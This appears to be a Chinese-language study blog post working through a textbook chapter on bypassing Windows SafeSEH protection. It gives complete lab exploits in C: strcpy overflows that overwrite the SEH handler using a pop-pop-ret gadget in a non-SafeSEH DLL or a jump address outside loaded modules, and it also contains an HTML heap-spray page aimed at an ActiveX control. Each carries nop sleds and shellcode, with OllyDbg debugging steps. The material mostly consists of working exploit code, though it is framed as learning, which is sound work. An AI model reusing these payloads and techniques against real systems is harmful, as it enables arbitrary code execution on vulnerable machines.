目录
作者说SafeSEH的原理很简单。。。就是在程序调用异常函数前,对调用的异常函数进行一系列的有效性验证,当发现异常处理函数不可靠时将终止异常处理函数的调用。
这需要编译器和操作系统的双重支持,二缺一都会降低SafeSEH的保护能力
上面只是简单说了一下,幸好后面作者继续说了
是编译器编译时,将程序所以的异常处理函数地址提取出来,编入一张安全SEH表,放入程序映像中。
当发生异常时将函数的地址与安全SEH表进行匹配,检查调用的异常处理函数是否位于安全的SEH表中
这样看着这保护得很好啊。。。
攻击返回地址绕过SafeSEH
没开GS,开了SafeSEH的情况,简单提一下
利用虚函数绕过SafeSEH
这个话就有点费了
从堆中绕过SafeSEH
作者说这是利用SafeSEH对堆的特殊处理,可以看出是普通的SEH攻击
只是shellcode放在堆中而不是栈中,如果没开DEP的情况下
就是将我们的shellcode复制到堆区,接下来用shellcode再堆中的首地址覆盖seh处理程序,最后利用除0异常触发异常,最后就调用我们的shellcode了
但是理想很丰满
vs2012编译后不能在xp运行,需要搞得麻烦一点,就不去搞了
之后终于动手去装了vs2008,启动速度挺快,好用,早知道就下了,在xp下实验
覆盖的地址改一下
调试一下
先下个断点,因为执行也要读取指令啊
ko
利用未启用SafeSEH模块绕过SafeSEH
#include "stdafx.h" #include <string.h> #include <windows.h> char shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x12\x10\x12\x11"//address of pop pop retn in No_SafeSEH module "\x90\x90\x90\x90\x90\x90\x90\x90" "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" ; DWORD MyException(void) { printf("There is an exception"); getchar(); return 1; } void test(char * input) { char str[200]; strcpy(str,input); int zero=0; __try { zero=1/zero; } __except(MyException()) { } } int _tmain(int argc, _TCHAR* argv[]) { HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module char str[200]; __asm int 3 test(shellcode); return 0; }
首先加载一个未启用SafeSEH的dll,之后还是调用test函数用shellcode覆盖test函数的返回地址,之后触发除0异常
dll代码:
#include "stdafx.h" BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved) { return TRUE; } void jump() { __asm{ pop eax pop eax retn } }
就是人工构造了一个rop
先下个OllySSEH插件
http://www.openrce.org/downloads/details/244/OllySSEH
搞好后,
载入程序,运行到加载dll后
扫描
颜色都不一样的了
那么我们就可以利用没有开启SafeSEH的dll了
我们看到构造的rop在这,11121012
先用208个90覆盖,还差12个
那就是220个90,后面跟覆盖异常处理的地址
还有进入__try函数时会在Security Cookie+4的位置压入-2,作者说+4的位置,但ebp-4就是Security Cookie
进入__try时复制为0,出来就复制为-2,
如果有多个try,第一个是0,接着是1,2,3,4,那么当触发异常的时候,就知道是哪个try里面触发的异常了
所以我们的shellcode不能直接跟着SEH后面
那就加8个90咯
之后我们在dll那个rop处下个断点
除0异常时,shift+f9就断下来了,
两次pop
就回到FE90,即下面
F7,单步
可以看到那连个破坏的地址对我们shellcode的执行没影响,继续执行,就弹框了
利用加载模块之外的地址绕过SafeSEH
代码
#include "stdafx.h" #include <string.h> #include <windows.h> char shellcode[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xE9\x2B\xFF\xFF\xFF\x90\x90\x90"// machine code of far jump and \x90 "\xEB\xF6\x90\x90"// machine code of short jump and \x90 "\x0B\x0B\x29\x00"// address of call [ebp+30] in outside memory ; DWORD MyException(void) { printf("There is an exception"); getchar(); return 1; } void test(char * input) { char str[200]; strcpy(str,input); int zero=0; __try { zero=1/zero; } __except(MyException()) { } } int _tmain(int argc, _TCHAR* argv[]) { //__asm int 3 test(shellcode); return 0; }
没有未开启SafeSEH的
我们看看加载模块之外的
类型为Map的映射文件,SafeSEH是无视他们的
那我们利用插件查找下面这种的,那就可以调回我们的shellcode上了
在模块之外找到了一条
还有一个棘手的问题,这个地址保护00,所以我们不能把shellcode放在后面,
其实是可以下硬件执行断点的
是这里
这感觉有点巧合啊, 跟着有个小跳转
小跳转之后有个大跳转,跟着就执行shellcode了
利用Adobe Flash Player ActiveX控件绕过SafeSEH
其实就是利用未启用SafeSEH模块绕过SafeSEH的浏览器版
ActiveX在9.2.124之前是不支持SafeSEH的
结果看了看我的xp装了多少的
我去,15,有点新啊
那我下个9.0,有点难找的。。
这要有三方面的支持:
-
具有溢出漏洞的ActiveX控件
-
未启用SafeSEH的Flash Player ActiveX控件
-
可以触发ActiveX控件中溢出漏洞的POC页面
学习怎么编写ActiveX控件
怎么express版连MFC都没有。。。
算了先直接用作者的,先看看代码
这个应该是比较熟悉的了
再看看那个class id(class info)
先注册一下控件
poc页面代码
<html> <body> <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="160" height="260"> <param name="movie" value="1.swf" /> <param name="quality" value="high" /> <embed src="1.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="160" height="260"></embed> </object> <object classid="clsid:1F0837F2-15E5-4115-A235-81DA2F73C204" id="test"></object> <script> var s = "\u9090"; while (s.length < 60) { s += "\u9090"; } s += "\u0EEB\u9090"; s += "\u2D1C\u300B"; s += "\u9090\u9090\u9090\u9090"; s += "\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6577\u7473\u6668\u6961\u8b6c\u53c4\u5050\uff53\ufc57\uff53\uf857"; test.test(s); </script> </body> </html>
打开poc
od附加,那个模块没加载,哎又搞不了,坑
算了,反正原理差不多。。。
一个可能是我是ie8的问题,另一个可能是那个控件没安装上?
看着应该是